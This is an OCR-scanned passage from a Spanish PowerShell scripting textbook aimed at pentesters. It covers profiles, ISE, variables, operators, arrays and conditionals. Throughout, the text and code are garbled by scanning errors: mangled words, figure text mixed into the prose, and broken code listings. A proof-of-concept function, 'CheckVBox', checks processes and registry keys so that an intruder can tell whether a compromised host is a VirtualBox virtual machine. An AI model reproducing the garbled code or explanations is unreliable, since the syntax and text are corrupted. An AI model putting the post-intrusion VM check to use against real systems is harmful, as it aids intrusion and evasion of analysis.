¢l conjunto de comandos habia que desarrollar un programa aparte que seria ejecutado desde la
terminal. Los comandos binarios nativos de PowerShell denominados cindlets pueden ser ampliados
agregandose como complementos. Los complementos en PowerShell se compilan, como ocurre
con las herramientas binarias de otras interfaces o terminales. De este modo se podrian agregar
otros providers. Las funciones declaradas son otros comandos que pueden afadirse para ampliar e
conjunto de comandos de PowerShell, sin necesidad de compilar nada.

La linca de comandos controla la entrada y la presentacion en consola de los resultados. Cuando el
usuario escribe un comando, éste se procesa desde PowerShell. La consola aplica un formato por
defecto, el cual es personalizable, a los resultados que se mostrardn por pantalla. Esta [uncionalidad
interna de PowerShell simplifica mucho el trabajo de los emdlets, ya que no se tienen que preocupar
por ¢l formato de salida.

PowerShell utiliza sintaxis del lenguaje C# y esto es algo importante a la hora de desarrollar seriprs.
Las palabras clave y funciones de sintaxis son practicamente idénticas a las que los desarrolladores
pueden utilizar en C#. Esto es debido a la base de PowerShell que es NET Framework.

Hay un comando especial que permitira al usuario obtener mucha informacién sobre qué comandos
y de qué tipo son los que pueden ser ejecutados en la linea de comandos. El emdler Get-Command
proporciona 3 columnas con informacion sobre lo que el usuario puede ejecutar.

En la primera columna denominada CommandTipe se indica el tipo del comando, por ejemplo un
:nnllct. un alias o una funcién. En la segunda columna se indica el nombre para poder invocarlo. En
dtercera columna se muestra la definicién del comando. es decir, la descripeion de como lanzarlo.
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[n la pestana opciones se puede elegir el tamafio del cursor, pequefio, mediano y grande. ¢l historial
C AT Definition Je comandos, definiendo su tamario de bt fer, por defecto en 50 y opciones de edicion, para distintas
ommandT ype

P i Dhiect modalidades. En la pestafia fuente se puede personalizar la fuente para la linea de comandos y el
orEach-Objec i) . 3 = o = . " . »
% et iamafio de ésta. En la pestaia de disefio se puede personalizar el tamafio del bafer de pantalla, es
- Set—Location H 5 ‘ ¢ X &
fidd-Content decir. el nimero de lineas que se almacenaran a lo alto de la pantalla, con el scroll, y el nimero de

ac
Add-Computexr Add-Computer [-DomainName ]l . - P
Add—Content fdd—Content [—Pathl <String caracteres que se mostrarin en cada linea, a lo ancho de la pantalla.

IPS C:\Users\pablo> Get—Command

Add-History Add-History [[—InputObject]
Fig. 2.01: Listado de informacion de Gei-Command. por otro lado, también es personalizable el tamario de la ventana, anchura por altura. La posicion de
la ventana también se puede elegir indicando. aunque por defecto es el sistema operativo quien la
ubica. En la pestaiia de color se puede personalizar el color del texto en pantalla, el color del fondo

Personalizacion del entorno de pantalla, el texto de las ventanas emergentes y el fondo de dichas ventanas.
Cuando un usuario trabaja diariamente con la linea de comandos de PowerShell es de vital = : .
Jz »__Prlledades: Windows Powershe W @

importancia tener un entorno con el que el usuario se encuentre comodo trabajando. Disponer de
los alias ya cargados, los emdlets importados o las funciones personalizadas declaradas en un perfil
es algo que puede ayudar a mejorar la experiencia de trabajo con PowerShell. En este apartado se
trabajara la modificacion del entorno de la linea de comandos de PowerShell y como hacer que estos
cambios o personalizaciones sean persistentes. l

[ Opeiones | Fuerte | Disefo | Colores |
[

Valores de colores seleccionados
Bajo: L =

Texto de ventanas emergentes Verde: 0 :

\ Texto de la pantallz

Q _E"n.:.;y
Modiﬁcaci()n del entorno Fondo de ventanas emergentes

La modificacion basica del entorno estd determinada por opciones de configuracion, ya sea visual
como de gestion. Para poder modificar estas opciones se puede hacer clic en la esquina superior
izquierda de la consola, dénde se puede ver el icono de PowerShell, y aparecerd un menl contextual
donde se debe elegir la opeidn “Propiedades .

mPEdadeg Windows

Opciones | Fuente | Disefio | Colores |

 ANEEEN W [ W=
|

Colores de pantalla seleccionados

C:\WINDOUS> dir
SYSTEM <DIR> 16-01-99 5:01
SYSTEM32 <DIR> 18-81-99 5:01

DEANDME T™VT DCONC 4RA_R41_00 C = (Al

Tamano del cursor
© Pequeno Colores seleccionados para ventanas emergenies

C:N\UINDOUE> diw

' Medio

Grand SYSTEM <DIR> 16-01-29 S5:81
Historial de comandos Opciones de edicidn E:‘:E 5.&?3 . TUT <l RF\;L- ane E 242% ,22 i L—’E

Tamano del bifer 3 7! Modalidad de edicién @pida

Nimera de biferes 4 ~ [/] Wadalidad de insercidn

| Aceptar ||;Cancelar

| Descartar duplicadas antiguos

Fig. 2.03: Personalizacion de coloves en Powershell.

Para: que los cambioe raali j
p a que los cambios realizados en el entorno sean permanentes se debe abrir la consola de
owerShell ¢ : A e i
; U-:hL” como administrador de la maquina. Esto es algo que se debe tener en cuenta. ya que s
0' c' v ' > . - - - <
ada vez que el usuario ejecute la consola no se almacenaran los cambios.

[7 Aceptar H Cancelar

Fig. 2.02: Propiedades para la personalizacion del entorno de PowerShell.
g I
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Perfiles

:Qué es un perfil en PowerShell? El perfil son varios archivos que indican la configuracion y
personalizacion con la que la linea de comandos debe arrancar. En PoweiShell se puede diferenciar
entre la shell de sistema y otras shell cargadas con moédulos de otros productos. En un sistema
Windews 7 se tiene por defecto una PowerShell por defecto, y para gestionar Microsoft Exchange se
tiene otra shell personalizada para el tratamiento de dicho producto. Existen 4 perfiles, jerarquizados
por 2 tipos. en PowerShell especificados en la siguiente tabla.

Tipo Ruta Descripcion
Es un perfil para todos los escenarios dénde
se ejecuta PowerShell, ya sea shell de

sistema o shell de otros productos

Senv:userprofile\Mis documentos!

Yianasy Windows PowerShell\profile.ps!

Senv:userprofile\Mis
: Es un perfil para sélo el entorno
Doctmentos\Windows p P

Usuario PowerShalll Microsaf PowerShell mstaladp por defecto, la shell
del sistema

PowerShell profile.ps!

Senvowindirisystem32\Windows Perfil para todos los escenarios, y para

Maquin: : O G hry
=SIEER PowerShell'vl.0\profile.ps 1 todos los usuarios de la maquina
Senv:windir'system32\Windows | Perfil para el entorno PowerShell instalado
Méquina PowerShell\v1.0\ Microsofi. por defecto, que se aplica a todos los

PowerShell_profile.ps! Usuarios

Tubla 2.01: Tipos de perfiles v rutas en Powershell.

En arquitecturas de 64 bit la ruta de los perfiles de méquina es la misma, salvo que en vez de ser la
carpeta System32 es la denominada Syswow64. El flujo de ejecucion de los perfiles al arrancar una
linea de comandos de PowerShell lleva un orden. el cual se puede visualizar a continuacion:

1. Senv:windirisystem32\Windows PowerShell\w1.0\profile.psl

2. Senv:windir'system32 \WindowsPowerShell\v1.0\ Microsoft. PowerShell_profile.ps]

3. Senv:userprofile\Mis documentos\Windows PowerShell \profile.ps |

4. Senv:userprofile\MisDocumentos! WindowsPowerShell! Microsoft. PowerShell_profile.psi
Si en el archivo profile.ps] de maquina existe la instruccion Ser-Alias —Name procesos —Value Get-

Process y existe en el archivo profile.ps| de usuario la instruccion Set-Alias —Name procesos —Value
-Get-Service, prevalece la ultima cargada por PowerShell.

Los perfiles no vienen creados por defecto, por lo que el usuario deberd crearlos a través de
PowerShell o creando a mano un archivo de tipo .ps/. Se puede utilizar la variable de entorno
$PROFILE para indicar cual es la ruta de creacion del perfil de tipo usuario. Para crear perfiles de
méquina se debe arrancar la linea de comandos como administrador.
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El fichero con el perfil no es més que una serie de instrucciones de linea de comandos, muy similar a
los perfiles en otras shell. Un ejemplo seria el siguiente cadigo que se puede visualizar a continuacion.

file.psl

para alias y variables

lias procesos —value get-process
rio = $env:iusername

a2 para definicidon de funciones

ion hora (get-date}

unction prompt [‘ES 3

(get-location) + * v 4 §(date) +' > *y

rras areas utiles para el usuario
nsaje de bienvenida al ejecutar la shell
or — [System.security.principal.Windowsidentity]::GetCurreat ()
rite-host Hola $($user.name) , bienvenido a PowerShell

W

2. Entorno de Scripting: PowerShell ISE

PowerShell ISE es un entorno gréfico que permite realizar desarrollo de scripts. Presenta un dehugger
con el que se facilita la manera de trabajar con PowerShell y la automatizacién de tareas. Esle
entorno se encuentra disponible desde la version 2.0 de PowerShell, y se puede encontrar instalada
por defecto desde los sistemas Windows 7'y Windows Server 2008 R2.

La ruta donde se encuentra es la misma que dénde se aloja PowerShell, C:\Windows'system32'
WindowsPowerShelliv/.(). Para acceder a este entorno:
- Se puede acceder a Inicio > Accesorios > Windows PowerShell > Windows PowerShell
ISE.

- Escribiendo directamente en la caja de basqueda. es decir, en Inicio > PowerShell ISE.

PowerShell ISE proporciona al usuario 3 dreas diferenciadas de trabajo integradas en una (inica
ventana. El desarrollador tiene un control completo sobre lo que ocurre, ademés de disponer de la
ayuda necesarias sobre todos los emdlets que pueden ser ejecutados.

[ty X

Fig. 2.04: Powershell ISE .
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El drea superior, por defecto, corresponde con un editor de texto en el cual se escribiran los seript.
Ademas. mediante el intuitivo modelo de pestaias, famoso en los navegadores. se dispone de la
posibilidad de trabajar con distintos script a la vez.

El area de la parte inferior se corresponde con la salida por pantalla de las ejecuciones. Ademas,
el usuario puede ir probando comandos sobre esta consola, aprovechando los valores de ciertas
variables en un momento dado. Esta consola es de gran utilidad, aunque los cambios que se realicen
en los providers. como por ejemplo en el provider del sistema de archivos, se harén en realidad en
el sistema.

En la parte derecha de PowerShell ISE se puede encontrar la ayuda de los cmdlets agrupados por
madulos de trabajo. Los médulos de trabajo indican distintas herramientas o productos de Microsoft
que se tienen en el sistema. De esta manera es muy sencillo saber que cmdlets se pueden ejecutar y
obtener una ayuda répida. Esta funcionalidad se afadi6 en la version 3.0 de PowerShell.

El concepto de ficha en PowerShell viene determinado por un entorno personalizado con sus
variables, alias, funciones, y totalmente aislado del resto de fichas. Cuando un usuario dispone de
una ficha en PowerShell ISE donde se dispone de ciertas variables en un estado concreto, cuando
comienza a trabajar con otra ficha desde ésta no se ven las variables de la anterior. Se puede entender
el concepto de ficha como una definicién equivalente a los dmbitos en un lenguaje de programacion.
Para crear una nueva ficha se puede utilizar un atajo como es CTRL + T en PowerShell ISE.

| PowerShell1 | PowerShell4 X

| Sin titulod ;sf X | )
1

PS C:\Users\bit> )

Fig. 2.05: Fichas en Powershell ISE.

Las fichas locales son entornos que se estan ejecutando sobre la misma magquina local y las fichas
remotas son entornos que son ejecutados en otras maquinas pero su presentacion visual se disponé
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donde ¢l usuario se encuentra. Para crear una ficha remota archivo > nueva ficha de PowerShell en
yemoto o la combinacion CTRL + Mayiis + R. Se pedirdn credenciales para obtener el control de una
sesion en el entorno remoto a través de PowerShell.

Laejecucion de los seripis y la depuracion de éstos es algo muy importante y valioso. Histéricamente.
en un entorno de seripting no se podia debuggear todo lo bien que se necesita. pero esto no ocurre
con PowerShell ISE. La ejecucion de los seripts se produce en una ficha de manera controlada,
llevandose a cabo de manera completa o linea a linea, incluso instruccién a instruccién, ya que
pueden existir lineas con varias instrucciones concatenadas. En la parte superior del entorno de
debugging se encuentra un icono de play, el cual permite que el usuario lance el scripr que se
encuentre activo en la ventana.

Archivo Editar Ver Depurar Ayuda

__Jl_jH.': »D)‘ <7 \

| Sin tituloLps1® | Sprocesospsi X
Sprocesos-Get-Process
Sprocesos

w @ [FETo
[ ] Ejecutar script (F3). I ~

sort -Descending id  Select-Object -Last 3

Fig. 2.06: Ejecucion de un script con Powershell ISE.

Una opcion interesante es marcar la linea o conjunto de lineas que se quieren gjecutar y pulsar sobre
¢l atajo de teclado F8, o bien pulsar sobre el boton play junto al icono del archivo. Tal y como puede
visualizarse en la imagen este método es valioso para ejecutar parte de lo que le interese al usuario.

Archivo Editar Ver

NEHdaOx 9
Sin titulo1.ps1* | Sprocesos.psl X
Sprocesos-Get-Process

write-host powershell
Sprocesas

Depurar

Ayuda
P B W @ [FT

| Ejecutar seleccion [FS)E

sort -Descending 1d Select-Object -Last 5

Fig. 2.07: Ejecucion selectiva de lineas o instrucciones en Powershell ISE,

También puede ser interesante cjecutar solo una instruccién y no la linea completa, por lo que se

dchcn;zisclcccmnar la instruccion hasta antes del pipe, en el caso de ser una linea concatenada de
comandos,

:)):”;’n‘;g“::l::) ll:my jnlcresante que debe.utili7:z3r el desarrf)l!ador son los bli'ea/cpu'inr. Un breakpoint
Sote & r;))u:;;cs‘m;a ‘para'da. de la gjecucion de un codigo d'e manera mtenc‘lm?ada en un lugar
P nco ()Lar‘ varios breakpoints a lo largo del cddigo, con el objetivo de ayudar al

. purar su codigo. PowerShell ISE presenta este concepto, de manera sencilla e

Intuitiva, 3 ! imi if
- Er} el meni depurar se puede colocar, listar y eliminar los diferentes puntos de ruptura que
Pueden situar a lo largo del codigo.
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Depurarj Ayuda - ]

Fasa a pasos por precedinienios e

Ejecutar o continuar FS

Detsner depurador Mayus=r3
Alternar punto de interrupcion F9

Quitar todos los puntos de interrupcion Ctrl=Mayls+F3

Habilitar todos los puntos de interrupcion

Dazhabilitar todes los puntos de Intermupcd

Mastrar puntos de interrupcion Ctrl+Mayis+L

Fig. 2.08: Puntos de ruptura o hreakpoint en Powershell ISE.

3. Variables

: - o hatio —
Las variables son porciones de memoria que almacenan informacion que Puedc variar lcon el t:s:n:
i ue

En PowerShell no necesitan ser declaradas previamente para poder Lmhzz:rlas. p(;rseol;l b duz

i ini C SE enta es que se tiene

i ' le. Lo tinico que se debe tener en cu Jue

sencillo crear y dar valor a una variab . € g . o
un nombre a la variable precedida del signo 8, y posteriormente utilizar el operador "= para |
que se asignara el valor indicado a la derecha del operador.

i i [ [ contenido
Las variables pueden venir precedidas por un tpo de dato y de esta forma 10]'12:;1 a c}uz tlzi s
sea de un tipo. A continuacion se muesira un ejemplo donde se crea una variadle y s

valor Svariable = “soy un texto .

ici ia [int] $variable = : i efiniciod
Otro ejemplo de variable con tipo de datos explicito seria [int] Svar iable =1 ().(ljistc. u‘pto (c:i; go e
puede resultar muy atil para controlar los tipos que s€ recogen de la entrada lpo: ela ime.mccm
ser interesante forzar al usuario a introducir un niimero por teclado, por gjemplo en |

mediante un meni de opciones.

: S € 5 51 ués de
Las variables almacenan objetos y despucs pueden ser tratadas como tal, por lo glL'xe si ?Zspemdor‘
creacion y asignacion de la variable se requiere utilizar los métodos se puede uti lj.ar.e . Smél
para invocar a los métodos. En el siguiente ejemplo se ilustra como acceder a los distin

Svariable.GetType().
AR
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(uando el usuario quiera mostrar el valor que se encuentra almacenado en la variable se puede
utilizar el emdlet Write-Ouiput, €l alias eche o directamente indicando la variable en la linea de
comandos precedida del caracter $.

Otro tipo de variables son las predefinidas y son aquellas que contienen informacion sobre el entorno
de PowerShell que se encuentra en ejecucion. Estas variables son de mucha utilidad cuando se estan
escribiendo seripis.

para visualizar las distintas variables predefinidas del entorno de PowerShell se puede utilizar la
instruccion Is variable: Hay que recordar que las variables se encuentran en un proveedor o almacén.
al cual se puede acceder de manera sencilla y realizar un tratamiento de sus elementos.

Variables necesarias en el desarrollo

Il proveedor de variables contiene todas las variables predefinidas y variables creadas por el usuario.
[:xisten variables predefinidas muy interesantes para el desarrollo de scripting. proporcionando al
desarrollador flexibilidad, informacion y gestion de errores a sus scripfs.

A continuacion se presentan diversas variables predefinidas y que son necesarias para ¢l desarrollo
de seripts en PowerShell. El nimero de argumentos que se pasa a una funcion o al seripr en general,
s la (ltima instruccion se ejecutd correctamente o no o el niimero de proceso que identifica ¢l
proceso de PowerShell son algunas de las variables que se pueden encontrar.

Con esta breve descripeion el usuario puede hacerse a la idea de lo importante que puede resultar el
uso de este tipo de variables.

Variable Descripcion
Silres Esta variable contiene una lista con los argumentos pasados a una funcién o
a un script en su gjecucion
$? Esta variable indica si la (iltima instruccion se ejecuté correctamente o no
§n Esta variable indica el primer miembro del ltimo comando tecleado en la
(- linea de comandos
$$ Esta variable indica el (ltimo miembro del dltimo comando tecleado en la
(- linea de comandos
SEvior Esta variable registra los errores producidos durante la ¢jecucion de la
= sesion
SErrorView Esta variable indica el formato en el que se mostrarin los errores
IS registrados en SError
L SHome Variable que almacena la ruta del directorio de inicio del usuario
% Variable que contiene el identificador del proceso de PowerShell

Tabla 2.02: Ejemplos de variables predefinidas.
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4.0peradores

Los operadores son fundamentales para un gran tipo de ope.racmm?s. Las : it
de comparacion, logicas, etcétera, estan presentes en cualquier scripl que se tenga que desarrollar.
PowerShell aporta un gran nimero de operadores. los cuales s estudiaran en este apartado clasificado

por categorias.

operaciones aritméticas,

Operadores aritméticos . .
Los operadores aritméticos son los tipicos que se pueden encontrar en cualqu.ler‘ le.ngua_;e bde
programacion. Permiten realizar operaciones matemétlcas sobrf: las variables. E|‘1 la sngu'le?;le tlz; la
se pueden encontrar los distintos operadores disponibles en la linea de comandos de PowerShell.

Operador Descripcion
e Adicién/Suma
- Sustraccion/Resta
i Multiplicacion
/ Division
% Maodulo/Resto

Tubla 2.03: Operadores aritméticos.
A continuacién se muestra un codigo sencillo que refleja el uso de un swirch, que es una e_slru'clfua
condicional. con el que en funcion del operador indicado se realiza una operacion u otra. El codigo

[ isica, ¢ ceript recibe 3 ¢ >ntos. El primero de los
presentado implementa una calculadora basica, cuyo script recibe 3 argumentos El pri

arcumentos es el operando 1, el segundo es el operador y el tercero el operando 2. En funcién del

valor del argumento 2 se realiza una operacion u otra.

Operadores de comparacion

La comparacion entre operandos es algo comtn en el desarroll
caminos que se puede tomar en un codigo en un instante concreto.
de valores, por ejemplo cadenas de texto o nimeros.

o de scripts, gestionando disufl
Se puede comparar distintos

g ) : e —
A continuacion se puede ver los distintos operadores que la linea de comandos de P

proporciona al usuario.

Cupitulo 1. Scripting en PowerShell

Operador Descripcion
-ne Compara si los valores no son iguales
-eq Compara si los valores son iguales
-gt Compara si un valor es estrictamente mayor que el otro
-ge Compara si un valor es mayor o igual que el otro
-t Compara si un valor es menor que el otro
-le Compara si un valor es menor o igual que el otro

Tubla 2.04: Operadores de comparacion,

{1 siguiente codigo muestra dos argumentos que son pasados a un script y se realiza una comparacion
de igualdad para comprobar si son iguales. En el caso de ser iguales se ejecuta una o un blogue de
instrucciones, mientras que si no son iguales se ejecuta otro bloque de instrucciones.

Otros comparadores que pueden ser utilizados son los gencricos y de expresiones regulares. El
parametro mafch permite ejecutar expresiones regulares, las cuales son realmente dtiles en temas
web, por ejemplo. La siguiente instruccion ‘Hacking '—match “hfa-z]" devolvera frue en el valor de
la comparacion o el matching.

Los operadores de comparacion genéricos permiten comparar cadenas de (exto con una expresion
genérica. Existen 2 pardmetros like y notlike. El primero es para comprobar la igualdad de la
comparacion y el segundo la desigualdad. Un ejemplo es pablo '—like ‘pah*’. El ejemplo devuelve
frue en la comparacion,

Operadores logicos

Los operadores logicos son elementos fundamentales en el desarrollo debido a que permiten
concatenar o profundizar en ciertas condiciones y comparaciones, A continuacion se presenta una
tabla con los operadores logicos que pueden ser encontrados en la linea de comandos de PowerShell.

Operador Descripcion
-and Y Légico
-or O Lagico
-not No Légico
! No Logico

-xor O Exclusivo

Tabla 2.05: Operadores logicos.
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El siguiente codigo muestra un gjemplo sencillo en el que para poder ejecutar un blogue de
instrucciones se puede dar una de las dos condiciones o ambas. Para indicar esto se juntan las dos
condiciones con el operador OR. Gracias a este operador con que ocurra una de las cosas valdria
para ejecutar el bloque de instrucciones.

if (( Sargs.Count -eq I ) —or ( $args.Count —eq 3 ))

{

echo “Numers de parametros correctos”

"

echo “./compararLogico.psl <argumentol> [ <argZ> <arg3> |
exit

Operadores de tipo

Este operador permite verificar si una variable es de un tipo o no. Puede ser interesante verificar si
una variable es de un tipo antes de asignar un variable. El operador evaliia la variable es de un tipo
indicando true o false. Se dispone del parametro is ¢ isnot para verificar el tipo.

it ( SArgs[D] —-is [int] )

Operadores de intervalo

iste lipo de operador permite representar los valores que hay entre un valor inicial y otro valor final.
Se representa con 2 puntos .7 Un ejemplo de operador de intervalo es el que puede verse en ¢l
siguiente codigo.

5.Arrays y hash tables

Un array es una coleccion de elementos. Tradicionalmente, los arrays han sido definidos como uné

. s . . . 1o
coleccion de elementos homogéneos, pero en PowerShell no tiene porque ser ast. Se pueden definif
arrays con elementos de distintos tipos.

Los arrays también son conocidos como tablas en PowerShell.

Capitulo 11. Scripting en PowerShell
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Las dimensiones de los arrays

Las dimensiones en un array indican el espacio donde se pueden colocar y referenciar los elementos
En otras palabras, la dimension se especifica a la hora de la declaracion del array. La dimensién.
puede ser un valor N, la cual sera representada mediante el uso de corchetes. Los indices de un array
empiezan por 0, como ocurre en lenguajes como C, y no por 1. '

Hay distintas maneras de declarar un array. en una se necesita especificar la dimension el array
y en otra basta con declarar una variable y asignar valores de un tipo. Por otro lado si se requiel:e
especificar un array de varias dimensiones se debe especificar el nimero de dimensiones mediante
¢l uso de corchetes. A continuacion se muestra codigo de ejemplo que sirve para declarar y utilizar
arrays.

(intl]]SmiArray = 22,12,1986

.‘:m,’\r[ayz = 1983, 1986, 1987

int1][]115miArray3 = @((14,22,2008), (1,2,3))

smultiTipo [int] 1, [double] 2.5

smultiTipe

Tratamiento de datos

[nsertar elementos en un array es uno de los pasos importantes en el uso de este tipo de estructuras
de datos, En PowerShell se puede insertar elementos dentro de un aray de manera sencilla, y
similar a otros lenguajes de programacion. El uso del operador *+=" permite afiadir un elemento a un

array cuando éste tiene una dimension. Como ej 58 I ioui e e :
, ,32 ' omo ejemplo se presenta la siguiente instruccion $midrray

Cuando se dispone de un array con varias dimensiones hay que indicar a que fila se quiere afiadir el
clemento. Como ejemplo se presenta la siguiente instruccion $Smidrrav3/0] —= @((2012)). También
s¢ puede requerir en un momento dado la insercion de una nueva fila para ello se del;e .I.ll”iﬁll' el
operador “+=" como si se anadiese un elemento sobre una fila ya existente. ‘ o
miArrayd += Q((15,9,2009)) '
Mmiarra Y3

Para |
eer los valores ;
3 s de un array se debe especifics Tl e R 3573
S quieren recuperar. / specificar mediante corchete la posicion o posiciones que

3axarrdy
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Smiarrayl0]
0
Smlaz;;y[?..Smia::;y.henqtul

9N W

miarray3 [0] [2]
08

N

Leer la informacién de un array es importante, sobre todo si éste tiene vgrias dinwnswmesr El prlmer
corchete es la fila, mientas que el segundo es la columna. Cuando se disponen dg mas dimensiones
se van anexando los corchetes con el fin de referenciar al resto de valores. Como ejemplo se propone |
una variable $array con 2 dimensiones. Al inicializar el array se crearon 2 filas con 3 elc‘mcnlos, ’
por lo que para referenciarlas se utiliza en el corchete los valores 0y .l. P(ﬁ"otro k,ld|0‘~e]~ Lorchedte |
que representa la columna puede tomar los valores 0.1 y.?_. Parala modlﬁcauc_m de xa.ows se puede
utilizar el método SerValue o directamente como se realiza en algunos lenguajes de programacion.
2000

22,14,2014

value(10,0)

Si se quiere llevar a cabo la eliminacion de un elemento de un array se pucd‘e utilizar la opein
de sobrescribir dicha variable o elemento. PowerShell no dispone de un método para eh)mmar

l 1 ~ aQ O poporrys = S Areny 2 +4].
elementos. A continuacion se muestra un ejemplo para [levar a cabo esto $4rray = $Array[()..2 +4]

Tablas hash

Las tablas hash o lablas asociativas también estan disponibles como estructura .dc dato§ e
PowerShell. Las tablas hash se diferencian de los array en que los valores se referencian medlan.le
una clave en lugar de un indice. Se debe tener en cuenta que como ocurre con los ‘nrmy. fl usuanl:
puede utilizar tipos de datos heterogéneos. A continuacion se muestra un codigo dénde se cre.acl:m
variable de tipo hash y se inicializa con valores con el_forme.un clave, valor.. Hay‘quc llfl.]er en cu

que si el hash o clave dispone de espacios hay que referenciarlo entre comillas simples.

3{hashl = 22; hashZ 1986)
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6.Los cmdlet de salida

Laredireccion a ficheros y a otros elementos es algo importante en el seripting. La linea de comandos
de PowerShell proporciona al usuario la via para controlar la salida de datos. Los emiflets encargados
Je controlar la salida de datos transforman éstos en algiin tipo de texto.

Los cmdlets comienzan por el verbo Our y después del guion el nombre hacia dénde envian la
informacion. El primer emdlet que se explica es el de Out-Host, el cual envia datos hacia fuera de
powerShell. En el siguiente ejemplo se muestra un listado de servicios que son tratados por Out-
Hust. Con ¢l parametro —paging, el propio cmdlet va a paginar la informacion para que sea comoda
su lectura.

pS C:\Users\pablo> Get—Service i Out—-Host —Paging

Name
fAeLookupSuc Experiencia con aplicaciones
ALG Servicio de puerta de enlace de niv...
AppIDSuc Identidad de aplicacidn
Appinfo Informacién de la aplicacidn
AppMgnt Administracion de aplicaciones
aspnet_state ASP.NET State Service
AudioEndpointBu... Compilador de extremo de audio de W...
AudioSrv Audio de Windows
PP AxAutoMntSrv Alcohol VUirtual Drive Auto—mount Se...
ESPACIO> pdgina siguiente; <RETORNO> linea siguiente; Q salir

DisplayName

Fio. 2.09; Paginavion de salida con el emdler Out-Host,

Il emdiet Out-Null tiene un comportamiento similar a /dev/null. el cual en sistemas Linux representan
a un periférico nulo. Este emdlet no evita que los mensajes de error se muestren por pantalla. Este
emdlet se ha diseiado con el fin de descargar cualquier entrada que se reciba, por lo que si se ejectla
la instruceion Ger-Process | Qut-Null, no se mostrara nada por pantalla.

El emdler Oui-Printer permite al usuario utilizar la impresora predeterminada. Se puede utilizar otro
tipo de impresora especificando el nombre de ésta. Un ejemplo de ejecucion seria Get-Process | Oui-
Printer -Name “Microsoft Office Documnent Image Writer”.

El emdler Out-File permite enviar el resultado de la ejecucion de los comandos a un archivo. Por
ejemplo, se puede ejecutar la siguiente instruccion Ger-Process | Oui-File —FilePath <rura del
archivo>, Es conveniente utilizar los emdlets Formai-* para preparar la salida como mis interese al
usuario. Ademds. otra de las cosas a tener en cuenta es que Our-File crea un archivo con encoding
de ‘( Inicode. Con el pardmetro Encoding se puede modificar este comportamiento por defecto
ndicando el encoding en el que se quicre el fichero resultante.

7.Condicionales

Los condicion

~tu ales permiten bifurcar la ejecucion del seripr en funcion de unas condiciones. En
unﬂéndc

las comentadas condiciones el seript puede tomar un camino u otro en su gjecucion,
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endiendo de si una o varias condiciones son ciertas o no. Las estructuras condiciones son la base
-ipts, y en general de cualquier lenguaje de programacion.

dep
para el desarrollo de sc?

La sentencia If

La sintaxis de la sentencia if‘'es realmente sencilla y muy intuitiva. ya que por lo general es similar en
todos los lenguajes de programacién. y ademas, es similar a cémo actia el ser humano ante ciertas
circunstancias. A continuacion se muestra un pequefio ejemplo en pseudocddigo.

Si condicion
Blogue de instrucciones A
Si No

Blogue de instrucciones B
Fin Si

ndicional se presenta el siguiente cjemplo donde un

Para entender mejor el funcionamiento del co
acertado el valor que

usuario pide a otro que introduzea un 0 o 1. Si el usuario introduce un 1 habra
¢l otro usuario habia pensado.

un valer

pr entre U

el

numero

inado el nmumex

e . . .r LN

El condicional de seleccién: Switch

El condicional de seleccion switch optimiza la implement
escenarios. Esta sentencia es sencilla y muy flexible que
instrucciones bajo una expresion conereta y sencilla.

acion de la estructura if en algunos:
permite agrupar varios bloques

a swifch es intuitiva y facil de recordar como se puede visualizar en

raduciendo switcha ‘en caso de .

|a sintaxis que present
siguiente gjemplo en pseudocodigo, t

En caso de variable

Valorl Blogue Instrucciones |

| e
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Valor2 Blogue Instruceiones 2

ValorN Blogue Instrucciones N
Defecta Blogue Instrucciones Defecto

Fin En caso de

A continuacion se propone un ejemplo bésico de creacion de un ment para un scripr. Este mend
mostrard las posibilidades que el usuario puede ejecutar en el script y solicitard a éste que introduzca
una opeion. Cuando el usuario introduce una opcidn concreta, el condicional switch ejecutara w
bloque de instrucciones en funcion de la opcion elegida. J o

Menu

st

)

girectorio
} "

PoC: CheckVBox

En algunas ocasiones el pentesrer. tras realizar la intrusion, se encuentra en una maquina virtual

l.:’sl’c. hecho es inleres:ame tenerlo controlado, por ello en Metasploir existe un médulo denominnll;

<\ .'r‘| ‘ul; ;’,ClllLIl\:L\\/(;;‘,«,l,’; dT,;\,'M_erpl.(/fm‘,jndiCa si }a sesion s estfﬁ' ejecutando en algiin tipo de mz’nquinf\
L ya s I . Virtual Box, Virtual PC, Hyper-V, QEmu, etcétera.

En esta prueb: '

. S che o ~ QE 1 o 1

= ._-m[:, lldl. concepto se va a implementar una parte de dicho scripr con el objetivo de identificar

mo ¢ » accedid el peniester AquLl i ) . .

e 0 al que accedid el peniester es una maquina virtual. En este caso se va a evaluar si ¢l
Mo pertenece a una maquina virtual corriendo en Firtual Box. o

A continuacion se muestra la fineidn ;

p————— pl s L:Jﬂut.blrﬂ la funcion implementada. en ella se puede ver diferentes formas. que hay
” ar, para detectar si el sistema operativo esta siendo gj Bt o G
Virtual Box. stema operativo esta siendo gjecutado en una maquina virtual de

function

|

“heckvhox
Svbox -

G.’t"p! oc
N 3
Tomcz() .Equal
S$key = Get-

nams.TaLower () .Equals (“vbox

}

{$vbhox

ChildIten
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if (ER«}.Name.ind:ﬁifn(“VFUH ="

=
~
15
.n:.;
—
rz|
W
|
poc

h ‘EKLM:\HARDWAR

BOX_"))

Skey = Ger-CLhzil

£ (Skey.Name.EndsWith(“VBOX__"))

Svbox = §Stru

i

skey = Get-Childitem —-Path ‘HKLM:\HARDWARE\DEV!CEMAP\SCSL\S:s; Port 0\Scsi Bus
D\Target Ig 0’

_ScLV5lue(“Idenliﬁer”).ToHtTiﬂQ().Star:sWith(“VBCX”ﬁ)

a por hecho que la maquina sobre la que se ejecuta no es una Virudl
Rox. Se iran haciendo distintas pruebas para comprobar que esto no s cierto. El primer tipo de
prueba que se realiza es listar los diferentes procesos que ejecutan en la maquina y verificar la
existencia de dos procesos clésicos de esla plataforma, como son VBoxTray y VBoxService.

Al principio de Ta funcion se d

aves de registro en HKLM: \HARDWARE!

El segundo tipo de prueba eval(a la existencia de unas cl
o de prueba se evalua que en otrs

ACPI las cuales deben finalizar en VBOX _. Para el tercer tip
rutas del registro existan unos valores que comiencen por VBOAX.

Hay que tener en cuenta que el script ha sido desarrollado en PowerShell 3.0 en un equipo Windows

8. La salida que produce esta funcion es sencillamente un valor hooleano. indicando false sino se estd
ejecutando en una maquina Virtual Box. o true si se estd ejecutando en un entorno de virtualizacis

como el mencionado.

8.Bucles

Los bucles son sentencias de codigo que se gjecutardn varias veces en funcion de una 0
condiciones. Los bucles son utilizados para no escribir repetidas veces el mismo codigo-

PowerShell se disponen de varios bucles, los cuales se pueden utilizar en diferentes ambit
EENR
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contextos. En este apartado se estudiardn los diversos bucles de los que se cuentan en la linea de
o s 15 Qs o, . aTd < ! C
comandos de Pow erShell, y se podra seguir su comprension con varios ejemplos

For
